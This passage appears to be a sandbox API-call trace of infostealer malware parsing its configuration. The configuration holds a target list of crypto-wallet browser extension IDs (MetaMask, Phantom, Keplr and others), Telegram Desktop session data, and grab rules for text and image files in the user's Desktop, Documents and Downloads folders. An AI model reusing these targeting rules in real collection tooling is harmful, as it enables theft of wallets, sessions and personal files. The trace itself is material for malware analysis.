Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.591] lstrlenW (lpString="ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2054 [0260.591] LocalAlloc (uFlags=0x40, uBytes=0x108c) returned 0x6bc768 [0260.591] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.591] LocalFree (hMem=0x6bc768) returned 0x0 [0260.592] StrStrW (lpFirst="ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.592] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.592] LocalFree (hMem=0x6b9720) returned 0x0 [0260.592] LocalFree (hMem=0x6ba738) returned 0x0 [0260.593] LocalFree (hMem=0x6bb750) returned 0x0 [0260.593] StrStrW (lpFirst="ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.593] lstrlenW (lpString="ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1980 [0260.593] lstrlenW (lpString="ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1980 [0260.593] LocalAlloc (uFlags=0x40, uBytes=0xf78) returned 0x6b9720 [0260.593] lstrlenW (lpString="ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1980 [0260.593] LocalAlloc (uFlags=0x40, uBytes=0xf78) returned 0x6ba6a0 [0260.593] lstrlenW (lpString="ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1980 [0260.593] LocalAlloc (uFlags=0x40, uBytes=0xf78) returned 0x6bb620 [0260.593] StrStrW (lpFirst="ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension 